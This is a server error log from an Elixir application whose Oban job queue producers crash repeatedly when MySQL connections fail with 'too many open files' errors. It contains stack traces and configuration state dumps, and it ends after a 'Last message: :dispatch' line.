[Sat Sep  5 22:54:58.226000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:00.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:54:50.241866Z], limit: 5, uuid: "fdde8634-78af-43f2-a0e8-f5fa76e2bdc9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:50.241873Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250179>, refresh_timer: #Reference<0.2525715032.1077411843.225112>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:54:50.243500Z], limit: 10, uuid: "52424d37-0157-44ab-94f4-288475621557", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:50.243506Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.242489>, refresh_timer: #Reference<0.2525715032.1068236804.242467>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:54:50.243719Z], limit: 5, uuid: "4d66a573-a09f-47b0-9730-e143d1953f1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:50.243724Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.242490>, refresh_timer: #Reference<0.2525715032.1121189889.100176>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:02.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:54:50.242774Z], limit: 3, uuid: "b829b4e8-5b53-44a7-a3c5-6ce0db998242", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:50.242781Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250181>, refresh_timer: #Reference<0.2525715032.1077411843.225111>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:54:50.240576Z], limit: 20, uuid: "7d7fd5eb-4512-4a95-bc0b-451b42db15c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:50.240583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250178>, refresh_timer: #Reference<0.2525715032.1099169794.250177>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:54:50.242146Z], limit: 50, uuid: "fcf13177-6a99-4032-abe5-98b416ba46ad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:50.242152Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250180>, refresh_timer: #Reference<0.2525715032.1077411843.225113>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:03.356000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:08.317000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:08.338000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:10.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:10.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:12.327000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:14.936000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:14.941000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:55:02.246171Z], limit: 20, uuid: "a1a97e91-0eb3-46ac-8992-40c382c34ea4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:02.246177Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250405>, refresh_timer: #Reference<0.2525715032.1099169794.250383>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:55:02.248366Z], limit: 5, uuid: "591c1a22-9280-4b3d-a1c5-6a33c2040cb4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:02.248371Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100217>, refresh_timer: #Reference<0.2525715032.1121189889.100203>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:15.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
